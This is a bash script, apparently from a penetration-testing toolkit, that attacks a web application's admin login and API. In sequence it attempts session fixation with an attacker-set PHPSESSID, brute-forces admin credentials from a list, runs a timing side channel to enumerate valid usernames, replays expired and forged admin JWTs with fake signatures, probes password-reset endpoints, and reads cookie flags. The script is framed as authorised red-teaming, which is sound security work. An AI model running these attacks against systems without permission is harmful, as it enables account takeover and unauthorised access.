| 1 |
| 2 |
| 3 |
SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)" |
| 4 |
source "$SCRIPT_DIR/../config.sh" |
| 5 |
OUT="$OUT/auth_session" |
| 6 |
mkdir -p "$OUT" |
| 7 |
|
| 8 |
echo '=== AUTH & SESSION RED-TEAM ===' | tee "$OUT/summary.txt" |
| 9 |
|
| 10 |
| 11 |
echo '--- Session Fixation ---' | tee -a "$OUT/summary.txt" |
| 12 |
resp=$(curl -sk -o /dev/null -w '%{http_code}' --max-time 10 -H 'Cookie: PHPSESSID=ATTACKER_CONTROLLED_SESSION_12345' "$TARGET/admin/") |
| 13 |
echo "[$resp] Preset PHPSESSID to attacker value" | tee -a "$OUT/summary.txt" |
| 14 |
|
| 15 |
| 16 |
echo '' | tee -a "$OUT/summary.txt" |
| 17 |
echo '--- Admin Brute Force (top credentials) ---' | tee -a "$OUT/summary.txt" |
| 18 |
CREDS=("${BRUTE_CREDS[@]}") |
| 19 |
for cred in "${CREDS[@]}"; do |
| 20 |
user="${cred%%:*}" |
| 21 |
pass="${cred##*:}" |
| 22 |
resp=$(curl -sk -c /tmp/jar.txt -o /tmp/login_body.txt -w '%{http_code}' --max-time 10 -X POST -H 'Content-Type: application/x-www-form-urlencoded' -d "username=$user&password=$pass&submit=Login" "$TARGET/admin/") |
| 23 |
| 24 |
body_hint=$(grep -i 'invalid\|wrong\|error\|failed\|logout\|dashboard' /tmp/login_body.txt 2>/dev/null | head -1 | cut -c1-60) |
| 25 |
echo "[$resp] $user:$pass | $body_hint" | tee -a "$OUT/summary.txt" |
| 26 |
done |
| 27 |
|
| 28 |
| 29 |
echo '' | tee -a "$OUT/summary.txt" |
| 30 |
echo '--- Timing Side Channel: Username Enumeration (15 samples each) ---' | tee -a "$OUT/summary.txt" |
| 31 |
echo 'Methodology: same wrong password, different usernames โ 3ฯ variance = valid username timing leak' | tee -a "$OUT/summary.txt" |
| 32 |
|
| 33 |
TIMING_N=15 |
| 34 |
WRONG_PASS='pentest_wrong_pass_xyz!' |
| 35 |
|
| 36 |
sample_login_time() { |
| 37 |
local user="$1" |
| 38 |
local times="" |
| 39 |
for i in $(seq 1 "$TIMING_N"); do |
| 40 |
T=$(python3 -c "import time; print(int(time.time()*1000))") |
| 41 |
curl -sk -o /dev/null --max-time 15 \ |
| 42 |
-X POST -H 'Content-Type: application/x-www-form-urlencoded' \ |
| 43 |
-d "username=${user}&password=${WRONG_PASS}&submit=Login" \ |
| 44 |
"$TARGET/admin/" 2>/dev/null |
| 45 |
E=$(python3 -c "import time; print(int(time.time()*1000))") |
| 46 |
times="$times $((E - T))" |
| 47 |
done |
| 48 |
echo "$times" |
| 49 |
} |
| 50 |
|
| 51 |
compare_login_timing() { |
| 52 |
local la="$1" ta="$2" lb="$3" tb="$4" |
| 53 |
LA="$la" TA="$ta" LB="$lb" TB="$tb" python3 - << 'PYEOF' |
| 54 |
import statistics, os |
| 55 |
la, lb = os.environ['LA'], os.environ['LB'] |
| 56 |
a = [int(x) for x in os.environ['TA'].split() if x] |
| 57 |
b = [int(x) for x in os.environ['TB'].split() if x] |
| 58 |
if not a or not b: |
| 59 |
print(" [SKIP] insufficient data") |
| 60 |
else: |
| 61 |
ma, mb = statistics.mean(a), statistics.mean(b) |
| 62 |
sa = statistics.pstdev(a) if len(a) > 1 else 1 |
| 63 |
sb = statistics.pstdev(b) if len(b) > 1 else 1 |
| 64 |
diff = abs(ma - mb) |
| 65 |
threshold = 3 * max(sa, sb, 15) |
| 66 |
verdict = "TIMING-LEAK" if diff > threshold else "OK" |
| 67 |
print(f" [{verdict}] {la}: {ma:.1f}ms\xb1{sa:.1f} vs {lb}: {mb:.1f}ms\xb1{sb:.1f} diff={diff:.1f}ms threshold={threshold:.1f}ms") |
| 68 |
PYEOF |
| 69 |
} |
| 70 |
|
| 71 |
echo " Sampling 'admin' ($TIMING_N requests)..." | tee -a "$OUT/summary.txt" |
| 72 |
T_ADMIN=$(sample_login_time "admin") |
| 73 |
echo " Sampling 'root' ($TIMING_N requests)..." | tee -a "$OUT/summary.txt" |
| 74 |
T_ROOT=$(sample_login_time "root") |
| 75 |
echo " Sampling 'nonexistent_zzz_xyz' ($TIMING_N requests)..." | tee -a "$OUT/summary.txt" |
| 76 |
T_INVAL=$(sample_login_time "nonexistent_zzz_xyz") |
| 77 |
|
| 78 |
echo '' | tee -a "$OUT/summary.txt" |
| 79 |
echo ' Username enumeration analysis (3ฯ threshold, 15ms floor):' | tee -a "$OUT/summary.txt" |
| 80 |
compare_login_timing "admin" "$T_ADMIN" "nonexistent" "$T_INVAL" | tee -a "$OUT/summary.txt" |
| 81 |
compare_login_timing "root" "$T_ROOT" "nonexistent" "$T_INVAL" | tee -a "$OUT/summary.txt" |
| 82 |
echo ' (TIMING-LEAK = valid username responds measurably faster/slower than nonexistent user)' | tee -a "$OUT/summary.txt" |
| 83 |
|
| 84 |
| 85 |
echo '' | tee -a "$OUT/summary.txt" |
| 86 |
echo '--- JWT Token Replay & Manipulation ---' | tee -a "$OUT/summary.txt" |
| 87 |
| 88 |
EXPIRED_JWT='eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJ0ZXN0IiwiZXhwIjoxNjAwMDAwMDAwfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c' |
| 89 |
resp=$(curl -sk -o /dev/null -w '%{http_code}' --max-time 10 -H "Authorization: Bearer $EXPIRED_JWT" -H 'Content-Type: application/json' -d '{"data":"test"}' "$API_TARGET/encrypt") |
| 90 |
echo "[$resp] Expired JWT" | tee -a "$OUT/summary.txt" |
| 91 |
|
| 92 |
| 93 |
WEAK_JWT='eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJhZG1pbiIsInJvbGUiOiJhZG1pbiIsImV4cCI6OTk5OTk5OTk5OX0.YmFkc2lnbmF0dXJl' |
| 94 |
resp=$(curl -sk -o /dev/null -w '%{http_code}' --max-time 10 -H "Authorization: Bearer $WEAK_JWT" -H 'Content-Type: application/json' -d '{"data":"test"}' "$API_TARGET/encrypt") |
| 95 |
echo "[$resp] Crafted admin JWT (fake sig)" | tee -a "$OUT/summary.txt" |
| 96 |
|
| 97 |
| 98 |
echo '' | tee -a "$OUT/summary.txt" |
| 99 |
echo '--- Password Reset Flow ---' | tee -a "$OUT/summary.txt" |
| 100 |
for path in '/reset-password' '/forgot-password' '/password-reset' '/api/reset' '/admin/reset'; do |
| 101 |
resp=$(curl -sk -o /dev/null -w '%{http_code}' --max-time 8 "$TARGET$path") |
| 102 |
echo "[$resp] $path" | tee -a "$OUT/summary.txt" |
| 103 |
done |
| 104 |
|
| 105 |
| 106 |
echo '' | tee -a "$OUT/summary.txt" |
| 107 |
echo '--- Cookie Security Flags ---' | tee -a "$OUT/summary.txt" |
| 108 |
curl -sk -I --max-time 10 -X POST -H 'Content-Type: application/x-www-form-urlencoded' -d 'username=admin&password=test' "$TARGET/admin/" | grep -i 'set-cookie' | tee -a "$OUT/summary.txt" |
| 109 |
|
| 110 |
cat "$OUT/summary.txt" |
| 111 |
|